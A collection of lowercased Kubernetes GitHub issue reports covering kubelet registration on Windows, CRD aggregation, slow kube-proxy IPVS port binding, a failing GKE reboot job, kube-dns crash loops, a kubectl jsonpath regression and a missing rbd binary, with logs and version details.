command:\r .\\kubelet.exe --hostname-override=10.141.38.252 --pod-infra-container-image=apprenda/pause --resolv-conf= --api-servers=http://10.183.201.66:8080 --cluster-dns=192.168.3.10\r \r the error is :\r ps c:\\k> .\\kubelet.exe --hostname-override=10.141.38.252 --pod-infra-container-image=apprenda/pause --resolv-conf= --api-servers=http://10.183.201.66:8080 --cluster-dns=192.168.3.10\r flag --api-servers has been deprecated, use --kubeconfig instead. will be removed in a future version.\r i0420 14:52:48.238468 816 feature_gate.go:189  feature gates: map  \r w0420 14:52:48.252143 816 server.go:605  could not load kubeconfig file /var/lib/kubelet/kubeconfig: getfileattributesex /var/lib/kubelet/kubeconfig: the system cannot find the file specified.. using default client config instead.\r i0420 14:52:48.253120 816 docker.go:376  start docker client with request timeout=2m0s\r e0420 14:52:48.254093 816 cni.go:163  error updating cni config: no networks found in /etc/cni/net.d\r e0420 14:52:48.255069 816 server.go:459  kubelet needs to run as uid 0. it is being run as -1\r w0420 14:52:48.255069 816 server.go:469  setting oom scores is unsupported in this build\r i0420 14:52:48.255069 816 kubelet.go:252  watching apiserver\r w0420 14:52:48.258980 816 iptables.go:143  error checking iptables version, assuming version at least 1.4.11: executable file not found in %path%\r w0420 14:52:48.258980 816 kubelet_network.go:69  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0420 14:52:48.259986 816 kubelet.go:477  hairpin mode set to \ hairpin-veth\ \r w0420 14:52:48.262884 816 plugins.go:210  can't set sysctl net/bridge/bridge-nf-call-iptables: open /proc/sys/net/bridge/bridge-nf-call-iptables: the system cannot find the path specified.\r i0420 14:52:48.270695 816 docker_manager.go:256  setting dockerroot to c:\\programdata\\docker\r i0420 14:52:48.270695 816 docker_manager.go:259  setting cgroupdriver to\r e0420 14:52:48.271671 816 server.go:730  cannot read keys quota in /proc/sys/kernel/keys/root_maxkeys\r e0420 14:52:48.271671 816 kubelet.go:1145  image garbage collection failed: invalid capacity 0 on device \ \  at mount point \ \ \r e0420 14:52:48.271671 816 server.go:746  cannot read keys bytes in /proc/sys/kernel/keys/root_maxbytes\r i0420 14:52:48.271671 816 server.go:770  started kubelet v1.5.3\r i0420 14:52:48.272642 816 server.go:123  starting to listen on 0.0.0.0:10250\r i0420 14:52:48.272642 816 kubelet_node_status.go:204  setting node annotation to enable volume controller attach/detach\r e0420 14:52:48.275579 816 kubelet.go:1634  failed to check if disk space is available for the runtime: could not determine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-04-20 14:52:48.2755797 +0800 cst}\r e0420 14:52:48.276560 816 kubelet.go:1642  failed to check if disk space is available on the root partition: could not determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-04-20 14:52:48.27656 +0800 cst}\r i0420 14:52:48.276560 816 fs_resource_analyzer.go:66  starting fs resourceanalyzer\r i0420 14:52:48.276560 816 status_manager.go:129  starting to sync pod status with apiserver\r i0420 14:52:48.276560 816 volume_manager.go:242  starting kubelet volume manager\r i0420 14:52:48.276560 816 kubelet.go:1714  starting kubelet main sync loop.\r i0420 14:52:48.276560 816 kubelet.go:1725  skipping pod synchronization -  container runtime is down \r e0420 14:52:48.277532 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:52:48.280467 816 kubelet_network.go:274  failed to ensure that nat chain kube-mark-drop exists: error creating chain \ kube-mark-drop\ : executable file not found in %path%:\r i0420 14:52:48.377144 816 kubelet_node_status.go:204  setting node annotation to enable volume controller attach/detach\r e0420 14:52:48.378118 816 kubelet.go:1634  failed to check if disk space is available for the runtime: could not determine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-04-20 14:52:48.2755797 +0800 cst}\r e0420 14:52:48.378118 816 kubelet.go:1642  failed to check if disk space is available on the root partition: could not determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-04-20 14:52:48.27656 +0800 cst}\r i0420 14:52:48.378118 816 kubelet_node_status.go:74  attempting to register node 10.141.38.252\r e0420 14:52:58.278771 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:53:12.369956 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:53:22.370221 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:53:32.370483 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:53:42.370745 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:53:48.284967 816 kubelet_network.go:274  failed to ensure that nat chain kube-mark-drop exists: error creating chain \ kube-mark-drop\ : executable file not found in %path%:\r e0420 14:53:52.371012 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:54:02.373220 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:54:12.373484 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:54:22.373745 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:54:32.374003 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:54:42.374268 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:54:48.290436 816 kubelet_network.go:274  failed to ensure that nat chain kube-mark-drop exists: error creating chain \ kube-mark-drop\ : executable file not found in %path%:\r e0420 14:54:52.374529 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:55:02.374795 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:55:12.377003 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:55:22.377265 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:55:32.377535 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:55:42.379744 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:55:48.295915 816 kubelet_network.go:274  failed to ensure that nat chain kube-mark-drop exists: error creating chain \ kube-mark-drop\ : executable file not found in %path%:\r e0420 14:55:52.380006 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:56:02.380265 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:56:12.380527 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:56:22.380788 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:56:32.381050 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:56:42.382798 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:56:48.303036 816 kubelet_network.go:274  failed to ensure that nat chain kube-mark-drop exists: error creating chain \ kube-mark-drop\ : executable file not found in %path%:\r e0420 14:56:52.383204 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:57:03.228216 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:57:13.228419 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:57:23.228425 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:57:33.228429 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:57:43.228434 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:57:48.280193 816 kubelet.go:1145  image garbage collection failed: invalid capacity 0 on device \ \  at mount point \ \ \r e0420 14:57:53.225506 816 kubelet_network.go:274  failed to ensure that nat chain kube-mark-drop exists: error creating chain \ kube-mark-drop\ : executable file not found in %path%:\r e0420 14:57:53.228435 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:58:03.231377 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:58:13.233330 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:58:23.233400 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:58:33.233471 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:58:43.233537 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:58:53.228725 816 kubelet_network.go:274  failed to ensure that nat chain kube-mark-drop exists: error creating chain \ kube-mark-drop\ : executable file not found in %path%:\r e0420 14:58:53.233611 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:59:03.234660 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:59:13.235699 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r e0420 14:59:23.235765 816 eviction_manager.go:205  eviction manager: unexpected err: failed getnode: node '10.141.38.252' not found\r \r how to fix it?\r \r \r

right now crds is being registered with the local api server  not sure what we call that server, is the one that has most of the api services . that will creates some issues. for example, openapi aggregator needs a signal back from that server to update aggregation when a crd is registered/removed. if we support that signal, to be consistent, we should support that for user api servers too. i believe it is a much better design to register crds with aggregation api server. that way the openapi spec is getting aggregated automatically as well as we won't have to deal with any dynamic changes to api services on local api server or user api servers.\r \r cc: @deads2k @sttts

is this a bug report or feature request?  :\r \r  \r   what happened  :\r i use kube-proxy:v1.9.0-beta.0 in ipvs mode.\r when creating many services  ~30k  with external ip type, it takes too long for kube-proxy to open and bind ports on the host. when i ran  watch -n1 \ netstat -plnt | grep kube-proxy | wc -l\   i see that it opens ab 1-2 ports per second, so it would take 50 minutes to bind 3000 ports and 8 hours to bind all 30k ports that i created. and this happens every time i restart the machine or the pod with kube-proxy. there is no errors in kube-proxy log:\r    \r i1117 19:16:15.503831       1 feature_gate.go:184  feature gates: map supportipvsproxymode:true \r w1117 19:16:15.503932       1 server.go:181  warning: all flags other than --config, --write-config-to, and --cleanup are deprecated. please begin using a config file asap.\r i1117 19:16:15.980189       1 server_others.go:164  using ipvs proxier.\r i1117 19:16:16.050181       1 server_others.go:188  tearing down inactive rules.\r i1117 19:16:16.225460       1 server.go:420  version: v1.9.0-beta.0\r i1117 19:16:16.247298       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i1117 19:16:16.247629       1 conntrack.go:52  setting nf_conntrack_max to 131072\r i1117 19:16:16.247740       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i1117 19:16:16.247822       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i1117 19:16:16.247999       1 config.go:102  starting endpoints config controller\r i1117 19:16:16.248028       1 controller_utils.go:1019  waiting for caches to sync for endpoints config controller\r i1117 19:16:16.248089       1 config.go:202  starting service config controller\r i1117 19:16:16.248099       1 controller_utils.go:1019  waiting for caches to sync for service config controller\r i1117 19:16:17.062950       1 controller_utils.go:1026  caches are synced for endpoints config controller\r i1117 19:16:17.248246       1 controller_utils.go:1026  caches are synced for service config controller\r \r    \r kube-api responding also without errors:\r    \r trace 643705522 :  1.087755086s   1.087749316s  listing from storage done\r i1117 21:07:46.063215       1 trace.go:76  trace 1226540394 : \ list /api/v1/services\   started: 2017-11-17 21:07:45.379258292 +0000 utc   total time: 683.890471ms :\r trace 1226540394 :  538.226979ms   538.220216ms  listing from storage done\r trace 1226540394 :  683.888591ms   131.297142ms  writing http response done  29400 items \r \r    \r so, it seems to me there is something wrong with kube-proxy.\r what can cause this?\r also, kube-proxy use large amount of cpu  from 50% to 150% .\r \r   what you expected to happen  :\r kube-proxy opens and binds external ip ports in a reasonable amount of time.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r kube-proxy flags:\r    \r         - /usr/local/bin/kube-proxy\r         - --kubeconfig=/var/lib/kube-proxy/kubeconfig.conf\r         - --cluster-cidr=10.244.0.0/16\r         - --feature-gates=supportipvsproxymode=true\r         - --proxy-mode=ipvs\r         - --ipvs-scheduler=rr\r         - --ipvs-sync-period=1m\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : kubelet=1.8.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux 4.4.0-98-generic\r - install tools: kubeadm=1.8.3\r - others: kube-proxy-amd64:v1.9.0-beta.0\r

/ /  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures because this is a gke job\r @kubernetes/sig-cluster-lifecycle-test-failures because the failing tests are owned by this sig\r \r this job has been failing since 2017-11-22.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-reboot\r \r - the equivalent gce job is passing https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-reboot\r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/10275\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/10276\r - suspect commit range: https://github.com/kubernetes/kubernetes/compare/e57083144...f85649c6c\r - triage cluster:  a3f59da96d25e83df6e  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig%5c-cluster%5c-lifecycle%5c%5d%5c%20reboot%5c%20%5c%5bdisruptive%5c%5d%5c%20%5c%5bfeature%3areboot%5c%5d%5c%20each%5c%20node%5c%20by%5c%20ordering%5c%20clean%5c%20reboot%5c%20and%5c%20ensure%5c%20they%5c%20function%5c%20upon%5c%20restart 9a3f59da96d25e83df6e

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  >  \r \r   what happened  :\r i have deployed kubernetes cluster usiing acs-engine in azure . after deployment my kube-dns pods were working perfectly but after two days machine got rebooted kube-dns is not working and it went into crashloopbackoff mode.\r   what you expected to happen  :\r kube-dns pods should be running properly \r   how to reproduce it  as minimally and precisely as possible   :\r root@rbcicchcovamw00:/var/log/pods  kubectl logs kube-dns-v20-3003781527-lh28l -n=kube-system kubedns\r i1201 12:07:00.729796       1 dns.go:48  version: 1.14.4-2-g5584e04\r i1201 12:07:00.732575       1 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i1201 12:07:00.732635       1 server.go:113  flag: --alsologtostderr=\ false\ \r i1201 12:07:00.732659       1 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i1201 12:07:00.732669       1 server.go:113  flag: --config-map=\ \ \r i1201 12:07:00.732684       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i1201 12:07:00.732691       1 server.go:113  flag: --config-period=\ 10s\ \r i1201 12:07:00.732709       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i1201 12:07:00.732716       1 server.go:113  flag: --dns-port=\ 10053\ \r i1201 12:07:00.732734       1 server.go:113  flag: --domain=\ cluster.local.\ \r i1201 12:07:00.732743       1 server.go:113  flag: --federations=\ \ \r i1201 12:07:00.732761       1 server.go:113  flag: --healthz-port=\ 8081\ \r i1201 12:07:00.732768       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i1201 12:07:00.732783       1 server.go:113  flag: --kube-master-url=\ \ \r i1201 12:07:00.732791       1 server.go:113  flag: --kubecfg-file=\ \ \r i1201 12:07:00.732807       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i1201 12:07:00.732816       1 server.go:113  flag: --log-dir=\ \ \r i1201 12:07:00.732833       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i1201 12:07:00.732840       1 server.go:113  flag: --logtostderr=\ true\ \r i1201 12:07:00.732855       1 server.go:113  flag: --nameservers=\ \ \r i1201 12:07:00.732861       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i1201 12:07:00.732877       1 server.go:113  flag: --v=\ 2\ \r i1201 12:07:00.732883       1 server.go:113  flag: --version=\ false\ \r i1201 12:07:00.732892       1 server.go:113  flag: --vmodule=\ \ \r i1201 12:07:00.733030       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i1201 12:07:00.735464       1 server.go:200  skydns metrics not enabled\r i1201 12:07:00.735483       1 dns.go:147  starting endpointscontroller\r i1201 12:07:00.735492       1 dns.go:150  starting servicecontroller\r i1201 12:07:00.735619       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i1201 12:07:00.735632       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i1201 12:07:01.235705       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:01.735803       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:02.235786       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:02.736013       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:03.235806       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:03.735770       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:04.235820       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:04.735811       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:05.235764       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:05.735742       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:06.235768       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:06.735761       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:07.235767       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:07.735763       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:08.235759       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:08.735738       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:09.235769       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:09.735795       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:10.235813       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:10.735763       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e1201 12:07:10.737253       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://10.0.0.1:443/api/v1/endpoints?resourceversion=0: net/http: tls handshake timeout\r e1201 12:07:10.737362       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://10.0.0.1:443/api/v1/services?resourceversion=0: net/http: tls handshake timeout\r i1201 12:07:11.235801       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:11.735789       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:12.235784       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:12.735878       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:13.235786       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:13.735757       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:14.235853       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:14.735781       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:15.235746       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:15.735772       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:16.235754       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:16.735879       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:17.235825       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:17.735754       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:18.235850       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:18.735733       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:19.235756       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:19.735757       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:20.235864       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:20.735758       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:21.235755       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1201 12:07:21.735807       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e1201 12:07:21.739455       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://10.0.0.1:443/api/v1/endpoints?resourceversion=0: net/http: tls handshake timeout\r e1201 12:07:21.739547       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://10.0.0.1:443/api/v1/services?resourceversion=0: net/http: tls handshake timeout\r i1201 12:07:22.236120       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.9\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 16 tsl\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   kind      bug   \r \r \r   what happened  : \r i have a test suite that uses the output of  kubectl apply  with  -o jsonpath  flag set. it has been working fine in 1.10.5 and below but not in 1.11. \r \r issuing the following command, results in the following error: \r    \r kubectl apply -f /tmp/pod.yaml -o=jsonpath='{.kind} {.metadata.namespace} {.metadata.name}'\r error: unable to match a printer suitable for the output format \ jsonpath={.kind }{.metadata.namespace} {.metadata.name}\ , allowed formats are: json,name,yaml\r    \r i get similar error if i use go-templates\r \r   what you expected to happen  :\r in previous version i would get this: \r    \r kubectl apply -f /tmp/pod.yaml -o=jsonpath='{.kind} {.metadata.namespace} {.metadata.name}'\r pod default apiserver-f6ayla\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r problem is not found in  kubectl get  but so far only in  kubectl apply . \r to reproduce issue a  kubectl apply  with  -o =jsonpath='{.kind} {.metadata.namespace} {.metadata.name}'  flags set or similar.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r > client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :\r \r > name=\ ubuntu\ \r > version=\ 16.04 lts  xenial xerus \ \r > id=ubuntu\r > id_like=debian\r > pretty_name=\ ubuntu 16.04 lts\ \r > version_id=\ 16.04\ \r > home_url=\ http://www.ubuntu.com/\ \r > support_url=\ http://help.ubuntu.com/\ \r > bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r > ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

hello :- \r \r \r   what happened  : \r i have updated my cluster from 1.11.3 to 1.12.3, thus converting hypercube use to kubeadm.\r everything is working but the creation of   new   rbd persistent volume.\r when i create a new volume, it fails continuously with the error:\r    \r error: \ failed to create rbd image: executable file not found in $path, command output: \ \r    \r after some checks, it appears that the kube-controller-manager docker image which is used to create pv has no ceph rbd binary, while the older hybercube image had.\r \r   what you expected to happen  :\r the kubeadm kube-controller-manager image should be build with the ceph rbd binaries as the rbd provisioner is still officially supported?\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create a storage class using ceph rbd:\r    \r allowvolumeexpansion: true\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   annotations:\r   creationtimestamp: null\r   name: ceph-storageclass\r parameters:\r   adminid: admin\r   adminsecretname: ceph-secret-admin\r   adminsecretnamespace: default\r   fstype: ext4\r   imagefeatures: layering\r   imageformat: \ 2\ \r   monitors: 10.8.001:6789\r   pool: common\r   userid: common\r   usersecretname: ceph-secret-common\r provisioner: kubernetes.io/rbd\r reclaimpolicy: delete\r volumebindingmode: immediate\r    \r   create a pvc using this storageclass:\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/rbd\r   finalizers:\r   - kubernetes.io/pvc-protection\r   name: test-rbd\r spec:\r   accessmodes:\r   - readwriteonce\r   datasource: null\r   resources:\r     requests:\r       storage: 5gi\r   storageclassname: ceph-storageclass\r    \r \r this one should works even without a running ceph cluster, as we only check the rbd binary, not create real image :- \r \r after that, the pv fails to create, and looking at the kube-controller-manager logs display:\r    \r i1210 07:20:57.485188       1 event.go:221  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ xxx-xxx-xxx\ , name:\ test-ceph\ , uid:\ 009be4ed-fa2e-11e8-9223-42010a0a005a\ , apiversion:\ v1\ , resourceversion:\ 5393206\ , fieldpath:\ \ } : type: 'warning' reason: 'provisioningfailed' failed to provision volume with storageclass \ ceph-storageclass\ : failed to create rbd image: executable file not found in $path, command output: \r    \r \r   anything else we need to know?  :\r i have made some test with older images from hyperkube, up to the 1.11.5 the rbd binary is present:\r    \r $ sudo docker run gcr.io/google-containers/hyperkube-amd64:v1.11.5  rbd --version\r ceph version 10.2.5  c461ee19ecbc0c5c330aca20f7392c9a00730367 \r    \r but with kubeadm, no more binary presents:\r    \r $ sudo docker run gcr.io/google-containers/kube-controller-manager:v1.12.3 rbd --version\r docker: error response from daemon: oci runtime create failed: container_linux.go:348: starting container process caused \ exec: \\\ rbd\\\ : executable file not found in $path\ : unknown.\r erro 0000  error waiting for container: context canceled \r    \r \r i have tested some 1.12 beta images, and 1.13.0, same problem.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: 1 master/3 nodes on gce vm and 3 masters/3 etcd/35 nodes on hp hardware.\r - os  e.g. from /etc/os-release :  version=\ 16.04.4 lts  xenial xerus \  \r - kernel  e.g.  uname -a  :  linux a4231cmnk8smaster1 4.15.0-1025-gcp  26~16.04.1-ubuntu smp wed nov 21 10:13:20 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: cluster installed and managerd through ansible with kubespray v2.8.0\r - others:\r \r <!-- do not edit below this line -->\r 

after the landing of  27510, which hides empty replicasets by default unless  --all  is passed, adapt the change from  28352 to apply to both pods and replicasets, printing a warning if any objects have been hidden.

